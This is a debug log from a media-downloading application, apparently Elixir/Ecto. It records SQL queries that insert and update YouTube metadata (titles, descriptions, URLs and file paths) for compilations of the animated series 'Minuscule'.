("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Persevering One | S01E31\r\n00:04:40 | Windswept | S01E68\r\n00:09:28 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Perseverance #Spider #Chase #Courage #Windswept #fly #spider #fan #Minuscule #nature #insects #ladybugs #animatedseries", "The Persevering One 🕷️ Minuscule 🍃| 20' Compilation", "eb7d54aa-e4fc-447c-97d7-6e31cbe4fad5", "nU2y9djZdyI", 905, false, 4, "https://www.youtube.com/watch?v=nU2y9djZdyI", 65, "/downloads/Miniscule Season 1/2025-02-06 The Persevering One 🕷️ Minuscule 🍃| 20' Compilation/The Persevering One 🕷️ Minuscule 🍃| 20' Compilation [nU2y9djZdyI].mkv", false, false, false, [], 1, ~U[2025-02-06 11:01:24Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Persevering One | S01E31\r\n00:04:40 | Windswept | S01E68\r\n00:09:28 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Perseverance #Spider #Chase #Courage #Windswept #fly #spider #fan #Minuscule #nature #insects #ladybugs #animatedseries", "The Persevering One 🕷️ Minuscule 🍃| 20' Compilation", "nU2y9djZdyI", 905, false, 4, "https://www.youtube.com/watch?v=nU2y9djZdyI", "/downloads/Miniscule Season 1/2025-02-06 The Persevering One 🕷️ Minuscule 🍃| 20' Compilation/The Persevering One 🕷️ Minuscule 🍃| 20' Compilation [nU2y9djZdyI].mkv", false, ~U[2025-02-06 11:01:24Z]] 00:54:34.140 [debug] QUERY OK source="sources" db=0.2ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.141 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-04 07:00:41Z], 4] 00:54:34.144 [debug] QUERY OK source="media_items" db=3.0ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\r\n00:03:45 | Brushing | S02E46\r\n00:07:10 | Bzzaping | S02E03\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #Brushing #Fly #Spider #Drunk #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation", "4a476a6a-cfb7-46a7-8761-80147bb434c7", "uTfacr6k9oA", 698, false, 4, "https://www.youtube.com/watch?v=uTfacr6k9oA", 66, "/downloads/Miniscule Season 1/2025-02-04 The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation/The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation [uTfacr6k9oA].mp4", false, false, false, [], 1, ~U[2025-02-04 07:00:41Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\r\n00:03:45 | Brushing | S02E46\r\n00:07:10 | Bzzaping | S02E03\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #Brushing #Fly #Spider #Drunk #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation", "uTfacr6k9oA", 698, false, 4, "https://www.youtube.com/watch?v=uTfacr6k9oA", "/downloads/Miniscule Season 1/2025-02-04 The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation/The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation [uTfacr6k9oA].mp4", false, ~U[2025-02-04 07:00:41Z]] 00:54:34.145 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.146 [debug] QUERY OK source="media_items" db=0.5ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-01 19:00:44Z], 4] 00:54:34.148 [debug] QUERY OK source="media_items" db=1.7ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Horsefly | S01E21\r\n00:04:41 | The Last Supper | S01E25\r\n00:09:29 | Catapult | S01E27\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #insulting #horsefly #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Horsefly 🪰 Minuscule 🍃 20' Compilation", "f3323535-40f6-44ad-a85e-4235d254816a", "2WlO4AqSpV0", 887, false, 4, "https://www.youtube.com/watch?v=2WlO4AqSpV0", 67, "/downloads/Miniscule Season 1/2025-02-01 Horsefly 🪰 Minuscule 🍃 20' Compilation/Horsefly 🪰 Minuscule 🍃 20' Compilation [2WlO4AqSpV0].mkv", false, false, false, [], 1, ~U[2025-02-01 19:00:44Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Horsefly | S01E21\r\n00:04:41 | The Last Supper | S01E25\r\n00:09:29 | Catapult | S01E27\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #insulting #horsefly #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Horsefly 🪰 Minuscule 🍃 20' Compilation", "2WlO4AqSpV0", 887, false, 4, "https://www.youtube.com/watch?v=2WlO4AqSpV0", "/downloads/Miniscule Season 1/2025-02-01 Horsefly 🪰 Minuscule 🍃 20' Compilation/Horsefly 🪰 Minuscule 🍃 20' Compilation [2WlO4AqSpV0].mkv", false, ~U[2025-02-01 19:00:44Z]] 00:54:34.148 [debug] QUERY OK source="sources" db=0.2ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.149 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-30 11:01:15Z], 4] 00:54:34.151 [debug] QUERY OK source="media_items" db=1.3ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:51 | The Escapist | S01E59\n00:09:19 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin 🕷️ Minuscule 🍃 15' Compilation", "80c03e02-e2fb-4325-b532-8b6550f79c90", "LgleO-XEpkA", 858, false, 4, "https://www.youtube.com/watch?v=LgleO-XEpkA", 68, "/downloads/Miniscule Season 1/2025-01-30 Zzzeplin 🕷️ Minuscule 🍃 15' Compilation/Zzzeplin 🕷️ Minuscule 🍃 15' Compilation [LgleO-XEpkA].mkv", false, false, false, [], 1, ~U[2025-01-30 11:01:15Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:51 | The Escapist | S01E59\n00:09:19 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin 🕷️ Minuscule 🍃 15' Compilation", "LgleO-XEpkA", 858, false, 4, "https://www.youtube.com/watch?v=LgleO-XEpkA", "/downloads/Miniscule Season 1/2025-01-30 Zzzeplin 🕷️ Minuscule 🍃 15' Compilation/Zzzeplin 🕷️ Minuscule 🍃 15' Compilation [LgleO-XEpkA].mkv", false, ~U[2025-01-30 11:01:15Z]] 00:54:34.152 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.152 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-28 07:00:42Z], 4] 00:54:34.154 [debug] QUERY OK source="media_items" db=1.3ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Shellproof Nut | S01E40\n00:09:28 | Rosy | S01E38\n00:14:09 | Ants | S01E02\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #nut #problem #ideas #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation", "b8eb8090-dcc7-46c9-9861-48c307d47519", "yHYE9LBToX0", 1170, false, 4, "https://www.youtube.com/watch?v=yHYE9LBToX0", 69, "/downloads/Miniscule Season 1/2025-01-28 The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation [yHYE9LBToX0].mp4", false, false, false, [], 1, ~U[2025-01-28 07:00:42Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Shellproof Nut | S01E40\n00:09:28 | Rosy | S01E38\n00:14:09 | Ants | S01E02\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #nut #problem #ideas #Minuscule #nature #insects #ladybugs #animatedseries", "The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation", "yHYE9LBToX0", 1170, false, 4, "https://www.youtube.com/watch?v=yHYE9LBToX0", "/downloads/Miniscule Season 1/2025-01-28 The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation [yHYE9LBToX0].mp4", false, ~U[2025-01-28 07:00:42Z]] 00:54:34.155 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.156 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-24 22:00:26Z], 4] 00:54:34.158 [debug] QUERY OK source="media_items" db=1.4ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Yellow | S01E07\n00:04:47 | Cowardly Coward | S01E09\n00:09:37 | Halloween Paranoid | S01E43\n00:14:25 | A Cruel World | S01E46\n00:19:20 | Lettuce | S01E48\n00:24:06 | Ugly | S01E05\n00:28:54 | Caterpillars in Pairs | S01E06\n00:33:42 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Centipede #Coward #Thunder #Shelter #coward #centipede #bravery #cross #Minuscule #nature #insects #ladybugs #animatedseries", "Yellow 🍃 Minuscule 🐞 55' Compilation", "fd12dd66-870a-4728-981d-37c3f8c0a27f", "oCBx4mb7ZkA", 2336, false, 4, "https://www.youtube.com/watch?v=oCBx4mb7ZkA", 70, "/downloads/Miniscule Season 1/2025-01-24 Yellow 🍃 Minuscule 🐞 55' Compilation/Yellow 🍃 Minuscule 🐞 55' Compilation [oCBx4mb7ZkA].mp4", false, false, false, [], 1, ~U[2025-01-24 22:00:26Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Yellow | S01E07\n00:04:47 | Cowardly Coward | S01E09\n00:09:37 | Halloween Paranoid | S01E43\n00:14:25 | A Cruel World | S01E46\n00:19:20 | Lettuce | S01E48\n00:24:06 | Ugly | S01E05\n00:28:54 | Caterpillars in Pairs | S01E06\n00:33:42 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Centipede #Coward #Thunder #Shelter #coward #centipede #bravery #cross #Minuscule #nature #insects #ladybugs #animatedseries", "Yellow 🍃 Minuscule 🐞 55' Compilation", "oCBx4mb7ZkA", 2336, false, 4, "https://www.youtube.com/watch?v=oCBx4mb7ZkA", "/downloads/Miniscule Season 1/2025-01-24 Yellow 🍃 Minuscule 🐞 55' Compilation/Yellow 🍃 Minuscule 🐞 55' Compilation [oCBx4mb7ZkA].mp4", false, ~U[2025-01-24 22:00:26Z]] 00:54:34.158 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.159 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-08-04 14:30:03Z], 4] 00:54:34.161 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un radiateur pour deux / The Winter of our Discontent (Season 1)", "a2960138-4a74-43a1-80e5-a3122f86f35e", "w3xL7XINseA", 348, false, 4, "https://www.youtube.com/watch?v=w3xL7XINseA", 72, "/downloads/Miniscule Season 1/2020-08-04 Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1)/Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1) [w3xL7XINseA].mp4", false, false, false, [], 1, ~U[2020-08-04 14:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un radiateur pour deux / The Winter of our Discontent (Season 1)", "w3xL7XINseA", 348, false, 4, "https://www.youtube.com/watch?v=w3xL7XINseA", "/downloads/Miniscule Season 1/2020-08-04 Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1)/Minuscule - Un radiateur pour deux ⧸ The Winter of our Discontent (Season 1) [w3xL7XINseA].mp4", false, ~U[2020-08-04 14:30:03Z]] 00:54:34.162 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", 